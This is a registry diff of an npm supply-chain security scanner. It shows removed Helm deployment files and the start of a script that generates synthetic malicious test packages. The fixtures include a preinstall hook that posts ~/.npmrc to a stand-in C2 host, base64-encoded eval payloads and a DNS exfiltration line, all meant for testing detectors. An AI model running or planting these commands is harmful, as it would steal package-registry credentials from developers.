@lateos/npm-scan 0.18.3 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +32 -0
- package/README.md +864 -826
- package/VALIDATION.md +92 -0
- package/backend/cra.js +113 -21
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +111 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +184 -31
- package/backend/detectors/lib/ast-patterns.js +24 -0
- package/backend/detectors/lib/entropy-analyzer.js +32 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +138 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +223 -0
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +147 -0
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +152 -0
- package/backend/scripts/analyze-validation.js +157 -0
- package/backend/scripts/detect-false-positives.js +103 -0
- package/backend/scripts/fetch-top-packages.js +277 -0
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +151 -0
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +47 -0
- package/backend/tests-d6-version-anomaly.test.js +67 -0
- package/backend/tests-d6.test.js +126 -0
- package/backend/tests-d6c.test.js +119 -0
- package/backend/tests-d7-obfuscation.test.js +88 -0
- package/backend/tests.test.js +997 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +36 -10
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
|
@@ -1,22 +0,0 @@
|
|
|
1
|
-
apiVersion: v2
|
|
2
|
-
name: npm-scan
|
|
3
|
-
description: npm supply chain security scanner — BYOC Helm chart for enterprise/government deployments
|
|
4
|
-
type: application
|
|
5
|
-
version: 1.0.0
|
|
6
|
-
appVersion: "1.0.0"
|
|
7
|
-
keywords:
|
|
8
|
-
- npm
|
|
9
|
-
- security
|
|
10
|
-
- supply-chain
|
|
11
|
-
- scanner
|
|
12
|
-
- byoc
|
|
13
|
-
- stig
|
|
14
|
-
- fips
|
|
15
|
-
- soc2
|
|
16
|
-
- fedramp
|
|
17
|
-
sources:
|
|
18
|
-
- https://github.com/lateos-ai/npm-scan
|
|
19
|
-
maintainers:
|
|
20
|
-
- name: Lateos
|
|
21
|
-
email: hello@lateos.ai
|
|
22
|
-
dependencies: []
|
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
{{- define "npm-scan.name" -}}
|
|
2
|
-
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
|
|
3
|
-
{{- end }}
|
|
4
|
-
|
|
5
|
-
{{- define "npm-scan.labels" -}}
|
|
6
|
-
helm.sh/chart: {{ .Chart.Name }}-{{ .Chart.Version }}
|
|
7
|
-
app.kubernetes.io/instance: {{ .Release.Name }}
|
|
8
|
-
app.kubernetes.io/managed-by: {{ .Release.Service }}
|
|
9
|
-
{{- end }}
|
|
@@ -1,94 +0,0 @@
|
|
|
1
|
-
apiVersion: apps/v1
|
|
2
|
-
kind: Deployment
|
|
3
|
-
metadata:
|
|
4
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
5
|
-
labels:
|
|
6
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
7
|
-
{{- include "npm-scan.labels" . | nindent 4 }}
|
|
8
|
-
annotations:
|
|
9
|
-
stig: "SRG-APP-000141"
|
|
10
|
-
spec:
|
|
11
|
-
replicas: {{ .Values.api.replicas }}
|
|
12
|
-
selector:
|
|
13
|
-
matchLabels:
|
|
14
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
15
|
-
template:
|
|
16
|
-
metadata:
|
|
17
|
-
labels:
|
|
18
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
19
|
-
spec:
|
|
20
|
-
containers:
|
|
21
|
-
- name: api
|
|
22
|
-
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
|
23
|
-
imagePullPolicy: {{ .Values.image.pullPolicy }}
|
|
24
|
-
command: ["node", "cli/cli.js", "serve"]
|
|
25
|
-
ports:
|
|
26
|
-
- containerPort: {{ .Values.api.port }}
|
|
27
|
-
env:
|
|
28
|
-
- name: API_PORT
|
|
29
|
-
value: "{{ .Values.api.port }}"
|
|
30
|
-
- name: API_HOST
|
|
31
|
-
value: "{{ .Values.api.host }}"
|
|
32
|
-
- name: NPM_SCAN_LICENSE_KEY
|
|
33
|
-
valueFrom:
|
|
34
|
-
secretKeyRef:
|
|
35
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
36
|
-
key: key
|
|
37
|
-
optional: true
|
|
38
|
-
- name: NPM_SCAN_PREMIUM
|
|
39
|
-
value: "{{ .Values.premium.enabled }}"
|
|
40
|
-
{{- if .Values.premium.byoc.enabled }}
|
|
41
|
-
- name: NPM_SCAN_BYOC
|
|
42
|
-
value: "true"
|
|
43
|
-
- name: NPM_SCAN_CLOUD_PROVIDER
|
|
44
|
-
value: "{{ .Values.premium.byoc.cloudProvider }}"
|
|
45
|
-
{{- end }}
|
|
46
|
-
{{- if .Values.siem.enabled }}
|
|
47
|
-
- name: SIEM_ENABLED
|
|
48
|
-
value: "true"
|
|
49
|
-
- name: SIEM_TYPE
|
|
50
|
-
value: "{{ .Values.siem.type }}"
|
|
51
|
-
- name: SIEM_ENDPOINT
|
|
52
|
-
value: "{{ .Values.siem.endpoint }}"
|
|
53
|
-
- name: SIEM_PORT
|
|
54
|
-
value: "{{ .Values.siem.port }}"
|
|
55
|
-
{{- end }}
|
|
56
|
-
{{- if .Values.sso.enabled }}
|
|
57
|
-
- name: SSO_ENABLED
|
|
58
|
-
value: "true"
|
|
59
|
-
- name: SSO_PROVIDER
|
|
60
|
-
value: "{{ .Values.sso.provider }}"
|
|
61
|
-
- name: SSO_ISSUER_URL
|
|
62
|
-
value: "{{ .Values.sso.issuerUrl }}"
|
|
63
|
-
{{- end }}
|
|
64
|
-
{{- if .Values.postgresql.enabled }}
|
|
65
|
-
- name: PG_HOST
|
|
66
|
-
value: "{{ .Values.postgresql.host }}"
|
|
67
|
-
- name: PG_PORT
|
|
68
|
-
value: "{{ .Values.postgresql.port }}"
|
|
69
|
-
- name: PG_DATABASE
|
|
70
|
-
value: "{{ .Values.postgresql.database }}"
|
|
71
|
-
- name: PG_USERNAME
|
|
72
|
-
value: "{{ .Values.postgresql.username }}"
|
|
73
|
-
- name: PG_PASSWORD
|
|
74
|
-
valueFrom:
|
|
75
|
-
secretKeyRef:
|
|
76
|
-
name: {{ .Values.postgresql.existingSecret | default (printf "%s-pg" (include "npm-scan.name" .)) }}
|
|
77
|
-
key: password
|
|
78
|
-
optional: true
|
|
79
|
-
{{- end }}
|
|
80
|
-
resources: {{- toYaml .Values.api.resources | nindent 12 }}
|
|
81
|
-
---
|
|
82
|
-
apiVersion: v1
|
|
83
|
-
kind: Service
|
|
84
|
-
metadata:
|
|
85
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
86
|
-
labels:
|
|
87
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
88
|
-
spec:
|
|
89
|
-
type: {{ .Values.service.type }}
|
|
90
|
-
ports:
|
|
91
|
-
- port: {{ .Values.service.port }}
|
|
92
|
-
targetPort: {{ .Values.api.port }}
|
|
93
|
-
selector:
|
|
94
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
@@ -1,28 +0,0 @@
|
|
|
1
|
-
{{- if .Values.ingress.enabled -}}
|
|
2
|
-
apiVersion: networking.k8s.io/v1
|
|
3
|
-
kind: Ingress
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}
|
|
6
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
7
|
-
{{- with .Values.ingress.annotations }}
|
|
8
|
-
annotations: {{- toYaml . | nindent 4 }}
|
|
9
|
-
{{- end }}
|
|
10
|
-
spec:
|
|
11
|
-
{{- with .Values.ingress.className }}
|
|
12
|
-
ingressClassName: {{ . }}
|
|
13
|
-
{{- end }}
|
|
14
|
-
rules:
|
|
15
|
-
- host: {{ .Values.ingress.host | quote }}
|
|
16
|
-
http:
|
|
17
|
-
paths:
|
|
18
|
-
- path: /
|
|
19
|
-
pathType: Prefix
|
|
20
|
-
backend:
|
|
21
|
-
service:
|
|
22
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
23
|
-
port:
|
|
24
|
-
number: {{ .Values.service.port }}
|
|
25
|
-
{{- with .Values.ingress.tls }}
|
|
26
|
-
tls: {{- toYaml . | nindent 4 }}
|
|
27
|
-
{{- end }}
|
|
28
|
-
{{- end }}
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
{{- if .Values.postgresql.enabled }}
|
|
2
|
-
apiVersion: apps/v1
|
|
3
|
-
kind: Deployment
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}-postgresql
|
|
6
|
-
labels:
|
|
7
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
8
|
-
spec:
|
|
9
|
-
replicas: 1
|
|
10
|
-
selector:
|
|
11
|
-
matchLabels:
|
|
12
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
13
|
-
template:
|
|
14
|
-
metadata:
|
|
15
|
-
labels:
|
|
16
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
17
|
-
spec:
|
|
18
|
-
containers:
|
|
19
|
-
- name: postgresql
|
|
20
|
-
image: postgres:16-alpine
|
|
21
|
-
ports:
|
|
22
|
-
- containerPort: 5432
|
|
23
|
-
env:
|
|
24
|
-
- name: POSTGRES_DB
|
|
25
|
-
value: "{{ .Values.postgresql.database }}"
|
|
26
|
-
- name: POSTGRES_USER
|
|
27
|
-
value: "{{ .Values.postgresql.username }}"
|
|
28
|
-
- name: POSTGRES_PASSWORD
|
|
29
|
-
valueFrom:
|
|
30
|
-
secretKeyRef:
|
|
31
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
32
|
-
key: password
|
|
33
|
-
{{- if .Values.persistence.enabled }}
|
|
34
|
-
volumeMounts:
|
|
35
|
-
- name: data
|
|
36
|
-
mountPath: /var/lib/postgresql/data
|
|
37
|
-
volumes:
|
|
38
|
-
- name: data
|
|
39
|
-
persistentVolumeClaim:
|
|
40
|
-
claimName: {{ include "npm-scan.name" . }}-pg
|
|
41
|
-
{{- end }}
|
|
42
|
-
---
|
|
43
|
-
apiVersion: v1
|
|
44
|
-
kind: Service
|
|
45
|
-
metadata:
|
|
46
|
-
name: {{ include "npm-scan.name" . }}-postgresql
|
|
47
|
-
spec:
|
|
48
|
-
ports:
|
|
49
|
-
- port: 5432
|
|
50
|
-
selector:
|
|
51
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
52
|
-
---
|
|
53
|
-
{{- if .Values.persistence.enabled }}
|
|
54
|
-
apiVersion: v1
|
|
55
|
-
kind: PersistentVolumeClaim
|
|
56
|
-
metadata:
|
|
57
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
58
|
-
spec:
|
|
59
|
-
accessModes: [ReadWriteOnce]
|
|
60
|
-
resources:
|
|
61
|
-
requests:
|
|
62
|
-
storage: {{ .Values.persistence.size }}
|
|
63
|
-
{{- with .Values.persistence.storageClass }}
|
|
64
|
-
storageClassName: {{ . }}
|
|
65
|
-
{{- end }}
|
|
66
|
-
{{- end }}
|
|
67
|
-
{{- end }}
|
|
@@ -1,19 +0,0 @@
|
|
|
1
|
-
apiVersion: v1
|
|
2
|
-
kind: Secret
|
|
3
|
-
metadata:
|
|
4
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
5
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
6
|
-
type: Opaque
|
|
7
|
-
stringData:
|
|
8
|
-
key: "{{ .Values.license.key }}"
|
|
9
|
-
---
|
|
10
|
-
{{- if not .Values.postgresql.existingSecret }}
|
|
11
|
-
apiVersion: v1
|
|
12
|
-
kind: Secret
|
|
13
|
-
metadata:
|
|
14
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
15
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
16
|
-
type: Opaque
|
|
17
|
-
stringData:
|
|
18
|
-
password: "{{ .Values.postgresql.password }}"
|
|
19
|
-
{{- end }}
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
{{- if .Values.worker.enabled }}
|
|
2
|
-
apiVersion: apps/v1
|
|
3
|
-
kind: Deployment
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}-worker
|
|
6
|
-
labels:
|
|
7
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
8
|
-
{{- include "npm-scan.labels" . | nindent 4 }}
|
|
9
|
-
spec:
|
|
10
|
-
replicas: {{ .Values.worker.replicas }}
|
|
11
|
-
selector:
|
|
12
|
-
matchLabels:
|
|
13
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
14
|
-
template:
|
|
15
|
-
metadata:
|
|
16
|
-
labels:
|
|
17
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
18
|
-
spec:
|
|
19
|
-
containers:
|
|
20
|
-
- name: worker
|
|
21
|
-
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
|
22
|
-
imagePullPolicy: {{ .Values.image.pullPolicy }}
|
|
23
|
-
command: ["node", "cli/cli.js"]
|
|
24
|
-
env:
|
|
25
|
-
- name: NPM_SCAN_LICENSE_KEY
|
|
26
|
-
valueFrom:
|
|
27
|
-
secretKeyRef:
|
|
28
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
29
|
-
key: key
|
|
30
|
-
optional: true
|
|
31
|
-
resources: {{- toYaml .Values.worker.resources | nindent 12 }}
|
|
32
|
-
{{- end }}
|
|
@@ -1,75 +0,0 @@
|
|
|
1
|
-
# BYOC Enterprise values example
|
|
2
|
-
# Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: "1.0.0"
|
|
7
|
-
|
|
8
|
-
premium:
|
|
9
|
-
enabled: true
|
|
10
|
-
edition: enterprise
|
|
11
|
-
byoc:
|
|
12
|
-
enabled: true
|
|
13
|
-
cloudProvider: aws
|
|
14
|
-
vpcId: vpc-0123456789abcdef0
|
|
15
|
-
region: us-east-1
|
|
16
|
-
clusterName: npm-scan-enterprise
|
|
17
|
-
externalDb: true
|
|
18
|
-
externalRedis: true
|
|
19
|
-
|
|
20
|
-
license:
|
|
21
|
-
key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
|
|
22
|
-
secret: "your-license-secret"
|
|
23
|
-
|
|
24
|
-
siem:
|
|
25
|
-
enabled: true
|
|
26
|
-
type: cef
|
|
27
|
-
endpoint: log-collector.your-company.com
|
|
28
|
-
port: 514
|
|
29
|
-
protocol: tcp
|
|
30
|
-
|
|
31
|
-
pdf:
|
|
32
|
-
enabled: true
|
|
33
|
-
|
|
34
|
-
sso:
|
|
35
|
-
enabled: true
|
|
36
|
-
provider: oidc
|
|
37
|
-
clientId: npm-scan-enterprise
|
|
38
|
-
issuerUrl: https://sso.your-company.com/realms/enterprise
|
|
39
|
-
|
|
40
|
-
postgresql:
|
|
41
|
-
enabled: false
|
|
42
|
-
host: your-rds-endpoint.rds.amazonaws.com
|
|
43
|
-
port: 5432
|
|
44
|
-
database: npm_scan
|
|
45
|
-
username: npm_scan
|
|
46
|
-
password: ""
|
|
47
|
-
|
|
48
|
-
redis:
|
|
49
|
-
enabled: false
|
|
50
|
-
host: your-redis-endpoint.cache.amazonaws.com
|
|
51
|
-
port: 6379
|
|
52
|
-
|
|
53
|
-
ingress:
|
|
54
|
-
enabled: true
|
|
55
|
-
className: nginx
|
|
56
|
-
host: npm-scan.your-company.com
|
|
57
|
-
tls:
|
|
58
|
-
- secretName: npm-scan-tls
|
|
59
|
-
hosts:
|
|
60
|
-
- npm-scan.your-company.com
|
|
61
|
-
|
|
62
|
-
persistence:
|
|
63
|
-
enabled: true
|
|
64
|
-
size: 50Gi
|
|
65
|
-
storageClass: gp3
|
|
66
|
-
|
|
67
|
-
worker:
|
|
68
|
-
replicas: 4
|
|
69
|
-
resources:
|
|
70
|
-
requests:
|
|
71
|
-
cpu: 500m
|
|
72
|
-
memory: 1Gi
|
|
73
|
-
limits:
|
|
74
|
-
cpu: 2
|
|
75
|
-
memory: 2Gi
|
|
@@ -1,103 +0,0 @@
|
|
|
1
|
-
# Helm values for npm-scan BYOC
|
|
2
|
-
# Override per environment: helm install -f values-prod.yaml
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: latest
|
|
7
|
-
pullPolicy: Always
|
|
8
|
-
|
|
9
|
-
replicaCount: 1
|
|
10
|
-
|
|
11
|
-
license:
|
|
12
|
-
key: ""
|
|
13
|
-
secret: ""
|
|
14
|
-
|
|
15
|
-
premium:
|
|
16
|
-
enabled: false
|
|
17
|
-
edition: premium
|
|
18
|
-
byoc:
|
|
19
|
-
enabled: false
|
|
20
|
-
cloudProvider: ""
|
|
21
|
-
vpcId: ""
|
|
22
|
-
region: ""
|
|
23
|
-
clusterName: ""
|
|
24
|
-
externalDb: true
|
|
25
|
-
externalRedis: true
|
|
26
|
-
|
|
27
|
-
siem:
|
|
28
|
-
enabled: false
|
|
29
|
-
type: cef
|
|
30
|
-
endpoint: ""
|
|
31
|
-
port: 514
|
|
32
|
-
protocol: tcp
|
|
33
|
-
apiKey: ""
|
|
34
|
-
|
|
35
|
-
pdf:
|
|
36
|
-
enabled: false
|
|
37
|
-
|
|
38
|
-
sso:
|
|
39
|
-
enabled: false
|
|
40
|
-
provider: oidc
|
|
41
|
-
clientId: ""
|
|
42
|
-
clientSecret: ""
|
|
43
|
-
issuerUrl: ""
|
|
44
|
-
allowedDomains: []
|
|
45
|
-
|
|
46
|
-
postgresql:
|
|
47
|
-
enabled: true
|
|
48
|
-
host: ""
|
|
49
|
-
port: 5432
|
|
50
|
-
database: npm_scan
|
|
51
|
-
username: npm_scan
|
|
52
|
-
password: ""
|
|
53
|
-
existingSecret: ""
|
|
54
|
-
|
|
55
|
-
api:
|
|
56
|
-
enabled: true
|
|
57
|
-
port: 8000
|
|
58
|
-
host: 0.0.0.0
|
|
59
|
-
replicas: 1
|
|
60
|
-
corsOrigins: ["*"]
|
|
61
|
-
resources:
|
|
62
|
-
requests:
|
|
63
|
-
cpu: 100m
|
|
64
|
-
memory: 128Mi
|
|
65
|
-
limits:
|
|
66
|
-
cpu: 500m
|
|
67
|
-
memory: 512Mi
|
|
68
|
-
|
|
69
|
-
worker:
|
|
70
|
-
enabled: true
|
|
71
|
-
replicas: 2
|
|
72
|
-
resources:
|
|
73
|
-
requests:
|
|
74
|
-
cpu: 200m
|
|
75
|
-
memory: 256Mi
|
|
76
|
-
limits:
|
|
77
|
-
cpu: 1
|
|
78
|
-
memory: 1Gi
|
|
79
|
-
|
|
80
|
-
ingress:
|
|
81
|
-
enabled: false
|
|
82
|
-
className: ""
|
|
83
|
-
annotations: {}
|
|
84
|
-
host: npm-scan.example.com
|
|
85
|
-
tls: []
|
|
86
|
-
|
|
87
|
-
service:
|
|
88
|
-
type: ClusterIP
|
|
89
|
-
port: 80
|
|
90
|
-
|
|
91
|
-
persistence:
|
|
92
|
-
enabled: true
|
|
93
|
-
size: 10Gi
|
|
94
|
-
storageClass: ""
|
|
95
|
-
|
|
96
|
-
nodeSelector: {}
|
|
97
|
-
tolerations: []
|
|
98
|
-
affinity: {}
|
|
99
|
-
|
|
100
|
-
redis:
|
|
101
|
-
enabled: false
|
|
102
|
-
host: ""
|
|
103
|
-
port: 6379
|
|
@@ -1,30 +0,0 @@
|
|
|
1
|
-
import fetch from 'node-fetch';
|
|
2
|
-
import { writeFileSync, existsSync } from 'fs';
|
|
3
|
-
|
|
4
|
-
const TOP_PKGS = [
|
|
5
|
-
'lodash', 'chalk', 'react', 'axios', 'express',
|
|
6
|
-
'tslib', 'commander', 'typescript', 'vue', 'next',
|
|
7
|
-
'yargs', 'debug', 'moment', 'uuid', 'semver',
|
|
8
|
-
'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
|
|
9
|
-
'underscore', 'request', 'async', 'cheerio', 'bluebird',
|
|
10
|
-
'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
|
|
11
|
-
'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
|
|
12
|
-
'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
|
|
13
|
-
'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
|
|
14
|
-
'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
for (const pkg of TOP_PKGS) {
|
|
18
|
-
const file = `tests/corpus/clean/${pkg}.tgz`;
|
|
19
|
-
if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
|
|
20
|
-
try {
|
|
21
|
-
const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
|
|
22
|
-
const meta = await res.json();
|
|
23
|
-
const tarRes = await fetch(meta.dist.tarball);
|
|
24
|
-
const buf = Buffer.from(await tarRes.arrayBuffer());
|
|
25
|
-
writeFileSync(file, buf);
|
|
26
|
-
console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
|
|
27
|
-
} catch (e) {
|
|
28
|
-
console.log(`FAIL ${pkg}: ${e.message}`);
|
|
29
|
-
}
|
|
30
|
-
}
|
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
import { execSync } from 'child_process';
|
|
2
|
-
import { writeFileSync, mkdirSync, rmSync } from 'fs';
|
|
3
|
-
import { join } from 'path';
|
|
4
|
-
|
|
5
|
-
const BASE = '/tmp/npm-scan-mal';
|
|
6
|
-
|
|
7
|
-
const MALS = [
|
|
8
|
-
{ name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
|
|
9
|
-
{ name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
|
|
10
|
-
{ name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
|
|
11
|
-
{ name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
|
|
12
|
-
{ name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
|
